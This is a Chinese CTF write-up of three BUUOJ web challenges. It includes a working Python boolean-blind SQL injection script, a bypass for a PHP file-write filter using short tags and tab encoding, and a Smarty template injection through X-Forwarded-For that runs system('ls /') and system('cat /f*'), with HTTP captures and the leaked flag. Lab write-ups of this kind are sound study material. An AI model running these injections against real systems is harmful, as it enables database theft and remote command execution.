做做buuoj上的web题,本萌新纯采集,轻喷(((
[WUSTCTF2020]颜值成绩查询
熟悉的查询框,输入数字查询成绩
尝试输入1’,显示学生不存在
所以普通的注入失败
尝试使用1^1,发现不存在
1^0发现是admin
所以使用布尔盲注即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsimport timeimport sysurl="http://3fc79411-07ae-4931-9f8b-1fb09f15c605.node4.buuoj.cn:81/?stunum=" res="" for i in range (1 ,1000 ): left=32 right=128 mid=(left + right) //2 while (left < right): payload = url+"1^(ascii(substr((select(group_concat(value))from(flag)),%d,1))<%d)#" %(i,mid) html = requests.get(payload) print (payload) time.sleep(0.04 ) if "exists" in html.text: right = mid else : left = mid + 1 mid = (left + right) // 2 if mid <=32 or mid >=127 : break res += chr (mid-1 ) print (res)
[红明谷CTF 2021]write shell
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php error_reporting (0 );highlight_file (__FILE__ );function check ($input ) { if (preg_match ("/'| |_|php|;|~|\\^|\\+|eval|{|}/i" ,$input )){ die ('hacker!!!' ); }else { return $input ; } } function waf ($input ) { if (is_array ($input )){ foreach ($input as $key =>$output ){ $input [$key ] = waf ($output ); } }else { $input = check ($input ); } } $dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); } switch ($_GET ["action" ] ?? "" ) { case 'pwd' : echo $dir ; break ; case 'upload' : $data = $_GET ["data" ] ?? "" ; waf ($data ); file_put_contents ("$dir " . "index.php" , $data ); } ?>
那这里就很简单了,将我们的shell写进$dir
内即可
那要怎么写呢?这里过滤了空格、单引号、下划线、php、分号、波浪号、大括号、eval、+、^
PHP短标签
在之前的webshell里讲过,<?=``?>
相当于命令执行
其中的<?= 相当于echo
所以可以直接这样写:
或者是
然后按命令执行做就可以了,空格用%09替换,单引号用双引号替换,然后访问沙箱路径即可获得回显
[CISCN2019 华东南赛区]Web11
Very水的一个题,感觉不如攻防世界的smarty…
页面显示的是IP Address API
并且写道Build with Smarty
可以推测应该是smarty的xff注入,直接打开burp抓包,修改xff测试:
Request包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 GET / HTTP/1.1 Host: node4.buuoj.cn:28697 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0 .0.0 Safari/537.36 Edg/110.0 .1587.50 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/webp,image/apng,*
Respond包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Sat, 25 Feb 2023 15:32:00 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/7.3.5 Content-Length: 3905 <html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>A Simple IP Address API</title> <link rel="stylesheet" href="./css/bootstrap.min.css"> </head> <body> <div class="container"> <div class="row"> <div style="float:left;"> <h1>IP</h1> <h2 class="hidden-xs hidden-sm">A Simple Public IP Address API</h2> </div> <div style="float:right;margin-top:30px;">Current IP:2 </div> <!-- 可以看到这里的current IP:2--> </div> <div class="why row"> <div class="col-xs-12"> <h2>Why use?</h2> <div class="row"> <div class="col-xs-offset-1 col-xs-10"> <p> Do you need to get the public IP address ? Do you have the requirements to obtain the servers’ public IP address? Whatever the reason,sometimes a public IP address API are useful. </p> <p> You should use this because: </p><ul> <li>You can initiate requests without any limit.</li> <li>Does not record the visitor information.</li> </ul> <p></p> </div> </div> </div> </div> <div class="api row"> <div class="col-xs-12"> <h2>API Usage</h2> <div class="row"> <div class="col-xs-offset-1 col-xs-11"> <div class="table-responsive"> <table class="table table-striped table-bordered table-hover"> <thead> <tr> <td>-</td> <td>API URI</td> <td width="50px">Type</td> <td>Sample Output</td> </tr> </thead> <tbody> <tr> <td>get IP</td> <td><code>http://node4.buuoj.cn:28697/api</code></td> <td><code>text/html</code></td> <td><code>8.8.8.8</code></td> </tr> <tr> <td>get XFF(X-Forwarded-For)</td> <td><code>http://node4.buuoj.cn:28697/xff</code></td> <td><code>text/html</code></td> <td><code>8.8.8.8</code></td> </tr> </tbody> </table> </div> </div> </div> </div> </div> <div class="examples row"> </div> <div class="row"> <div class="col-xs-12"> <h2 style="margin-bottom:0;">Connection</h2> <div class="row"> <div class="col-xs-offset-1 col-xs-10"> <h3>Request-Header</h3> <pre>GET / HTTP/2.0 Host: www.ip.la Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8 Cache-Control: max-age=0 Dnt: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36 </pre> </div> </div> </div> </div> <footer> <p style="text-align:center;font-size:14px;">Build With Smarty !</p> </footer> </div> </body></html>
可以发现执行了加法运算
将xff修改:X-Forwarded-For: {system(‘ls /’)}
Request包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 GET / HTTP/1.1 Host: node4.buuoj.cn:28697 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0 .0.0 Safari/537.36 Edg/110.0 .1587.50 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/webp,image/apng,*
Response包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <div style="float:right;margin-top:30px;" >Current IP:bin dev etc flag home lib media mnt opt proc root run sbin srv sys usr var var </div> </div>
可以看到成功了,直接读flag即可
X-Forwarded-For: {system(‘cat /f*’)}
1 2 3 response包: <div style="float:right;margin-top:30px;" >Current IP:<?php $flag ="flag{b9aaeb9b-a5d7-4908-bd35-f6b4763c1ac4}" ; <?php $flag ="flag{b9aaeb9b-a5d7-4908-bd35-f6b4763c1ac4}" ; </div>